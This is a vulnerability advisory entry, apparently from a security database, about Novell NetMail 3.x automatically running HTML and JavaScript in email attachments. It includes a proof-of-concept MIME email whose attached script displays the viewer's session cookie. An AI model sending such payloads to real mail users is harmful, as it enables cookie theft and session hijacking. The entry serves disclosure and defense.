Novell NetMail 3.x Automatic Script Execution Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Novell NetMail 3.x Automatic Script Execution Vulnerability. Input validation issue allows automatic execution of HTML and JavaScript in received email messages, leading to potential session cookie theft


                                                source: http://www.securityfocus.com/bid/14171/info

Novell NetMail email client is prone to an input validation vulnerability.

Reports indicate that HTML and JavaScript attached to received email messages is executed automatically, when the email message is viewed.

A successful attack may allow the attacker to obtain session cookies and carry out other attacks.

All versions are considered to be vulnerable at the moment. 

Content-Type: multipart/mixed; boundary=&#34;=_mixed 00279444C2257036_=&#34;

--=_mixed 00279444C2257036_=
Content-Type: text/html; charset=&#34;US-ASCII&#34;


&#60;br&#62;&#60;font size=2 face=&#34;sans-serif&#34;&#62;hi there&#60;/font&#62;
&#60;br&#62;
--=_mixed 00279444C2257036_=
Content-Type: text/html; name=&#34;malxxx.html&#34;
Content-Disposition: attachment; filename=&#34;malxxx.html&#34;
Content-Transfer-Encoding: quoted-printable

&#60;!DOCTYPE HTML PUBLIC &#34;-//W3C//DTD HTML 4.0 Transitional//EN&#34;&#62;
&#60;HTML&#62;&#60;HEAD&#62;
&#60;title&#62;Test XSS of uploaded documents&#60;/title&#62;
&#60;META http-equiv=3DContent-Type content=3D&#34;text/html; charset=3Diso-8859-1&#34;&#62;

&#60;/HEAD&#62;
&#60;BODY&#62;
&#60;SCRIPT&#62;
document.write(&#39;The cookie is:&#60;br&#62; &#39; + document.cookie + &#39;&#60;p&#62;&#39;);
&#60;/SCRIPT&#62;
&#60;/BODY&#62;&#60;/HTML&#62;
--=_mixed 00279444C2257036_=--

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1